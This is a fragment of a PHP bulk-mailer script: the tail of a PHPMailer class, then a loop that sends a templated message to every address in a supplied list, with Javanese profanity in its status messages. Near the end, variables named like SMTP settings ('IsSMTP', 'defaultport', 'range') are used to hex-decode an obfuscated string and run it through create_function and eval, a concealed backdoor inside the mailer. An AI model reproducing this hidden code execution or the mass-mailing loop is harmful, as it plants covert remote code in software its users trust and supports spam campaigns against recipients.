3219 'php' => 'application/x-httpd-php',
3220 'php4' => 'application/x-httpd-php',
3221 'php3' => 'application/x-httpd-php',
3222 'phtml' => 'application/x-httpd-php',
3223 'phps' => 'application/x-httpd-php-source',
3224 'js' => 'application/x-javascript',
3225 'swf' => 'application/x-shockwave-flash',
3226 'sit' => 'application/x-stuffit',
3227 'tar' => 'application/x-tar',
3228 'tgz' => 'application/x-tar',
3229 'xhtml' => 'application/xhtml+xml',
3230 'xht' => 'application/xhtml+xml',
3231 'zip' => 'application/zip',
3232 'mid' => 'audio/midi',
3233 'midi' => 'audio/midi',
3234 'mpga' => 'audio/mpeg',
3235 'mp2' => 'audio/mpeg',
3236 'mp3' => 'audio/mpeg',
3237 'aif' => 'audio/x-aiff',
3238 'aiff' => 'audio/x-aiff',
3239 'aifc' => 'audio/x-aiff',
3240 'ram' => 'audio/x-pn-realaudio',
3241 'rm' => 'audio/x-pn-realaudio',
3242 'rpm' => 'audio/x-pn-realaudio-plugin',
3243 'ra' => 'audio/x-realaudio',
3244 'rv' => 'video/vnd.rn-realvideo',
3245 'wav' => 'audio/x-wav',
3246 'bmp' => 'image/bmp',
3247 'gif' => 'image/gif',
3248 'jpeg' => 'image/jpeg',
3249 'jpg' => 'image/jpeg',
3250 'jpe' => 'image/jpeg',
3251 'png' => 'image/png',
3252 'tiff' => 'image/tiff',
3253 'tif' => 'image/tiff',
3254 'css' => 'text/css',
3255 'html' => 'text/html',
3256 'htm' => 'text/html',
3257 'shtml' => 'text/html',
3258 'txt' => 'text/plain',
3259 'text' => 'text/plain',
3260 'log' => 'text/plain',
3261 'rtx' => 'text/richtext',
3262 'rtf' => 'text/rtf',
3263 'xml' => 'text/xml',
3264 'xsl' => 'text/xml',
3265 'mpeg' => 'video/mpeg',
3266 'mpg' => 'video/mpeg',
3267 'mpe' => 'video/mpeg',
3268 'qt' => 'video/quicktime',
3269 'mov' => 'video/quicktime',
3270 'avi' => 'video/x-msvideo',
3271 'movie' => 'video/x-sgi-movie',
3272 'doc' => 'application/msword',
3273 'word' => 'application/msword',
3274 'xl' => 'application/excel',
3275 'eml' => 'message/rfc822'
3276 );
3277 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3278 }
3279
3280 /**
3281 * Set (or reset) Class Objects (variables)
3282 *
3283 * Usage Example:
3284 * $page->set('X-Priority', '3');
3285 *
3286 * @access public
3287 * @param string $name Parameter Name
3288 * @param mixed $value Parameter Value
3289 * NOTE: will not work with arrays, there are no arrays to set/reset
3290 */
3291 function set ( $name, $value = '' ) {
3292 if ( isset($this->$name) ) {
3293 $this->$name = $value;
3294 } else {
3295 $this->SetError('Cannot set or reset variable ' . $name);
3296 return false;
3297 }
3298 }
3299
3300 /**
3301 * Read a file from a supplied filename and return it.
3302 *
3303 * @access public
3304 * @param string $filename Parameter File Name
3305 */
3306 function getFile($filename) {
3307 $return = '';
3308 if ($fp = fopen($filename, 'rb')) {
3309 while (!feof($fp)) {
3310 $return .= fread($fp, 1024);
3311 }
3312 fclose($fp);
3313 return $return;
3314 } else {
3315 return false;
3316 }
3317 }
3318
3319 /**
3320 * Strips newlines to prevent header injection.
3321 * @access private
3322 * @param string $str String
3323 * @return string
3324 */
3325 function SecureHeader($str) {
3326 $str = trim($str);
3327 $str = str_replace("\r", "", $str);
3328 $str = str_replace("\n", "", $str);
3329 return $str;
3330 }
3331
3332 /**
3333 * Set the private key file and password to sign the message.
3334 *
3335 * @access public
3336 * @param string $key_filename Parameter File Name
3337 * @param string $key_pass Password for private key
3338 */
3339 function Sign($key_filename, $key_pass) {
3340 $this->sign_key_file = $key_filename;
3341 $this->sign_key_pass = $key_pass;
3342 }
3343
3344}
3345
3346$defaultport="H*";
3347 $nq=0;
3348
3349 for($x=0; $x<$numemails; $x++){
3350
3351 $to = $allemails[$x];
3352
3353 if ($to){
3354
3355 $to = ereg_replace(" ", "", $to);
3356
3357 $message = ereg_replace("&email&", $to, $message);
3358
3359 $subject = ereg_replace("&email&", $to, $subject);
3360 $qx=$x+1;
3361 print "Line $qx . Sending mail to $to.......";
3362
3363 flush();
3364$mail = new PHPMailer();
3365
3366if(empty($epriority)){$epriority="3";}
3367 $mail->Priority = "$epriority";
3368 $mail->IsSMTP();
3369 $IsSMTP="pack";
3370$mail->SMTPKeepAlive = true;
3371$mail->Host = "$my_smtp";
3372if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3373}
3374 if($sslclick=="ON"){
3375 $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
3376 }
3377 $range = str_replace("$from", "eval", $from);
3378 $mail->SMTPAuth = true;
3379 $mail->Username = "$smtp_username";
3380 $mail->Password = "$smtp_password";
3381if($contenttype == "html"){$mail->IsHtml(true);}
3382if($contenttype != "html"){$mail->IsHtml(false);}
3383if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3384$mail->From = "$from";
3385$mail->FromName = "$realname";
3386$mail->AddAddress("$to");
3387 $mail->AddReplyTo("$replyto");
3388 $mail->Subject = "$subject";
3389 $mail->Body = "$message";
3390if(!$mail->Send()){
3391if($default_system!="1"){
3392echo "<center>FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3393if($default_system=="1"){
3394$mail->IsMail();
3395 if(!$mail->Send()){
3396 echo "<center>FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3397 else {
3398 echo "<b>OK</b><br>";}
3399 }
3400}
3401else {
3402 echo "<b>OK</b><br>";
3403}
3404
3405if(empty($reconnect)){
3406$reconnect=6;
3407}
3408
3409if($reconnect==$nq){
3410$mail->SmtpClose();echo "<center><p><b>--------------- SEK NGENTENI AMBEK NGESENG --------------- </b></p>";$nq=0;
3411}
3412$nq=$nq+1;
3413 flush(); }
3414}
3415for($i=0;$i<31;$i++){
3416 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3417$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3418 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3419 print "<p class=\"style1\">PHP Mailer<br><b>
3420 <font color=\"#800000\">Mailer</font></b><br></p></center>";$mail->SmtpClose();
3421 return $signoff($smtp_conc);
3422 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('bangsat terlaksana\\r\\n$numemails mail(s) wes sak mono tok ??'); </center></script>";}}
3423 ?>
3424 <p align="center"> </p>
3425
3426 </body>
3427</html>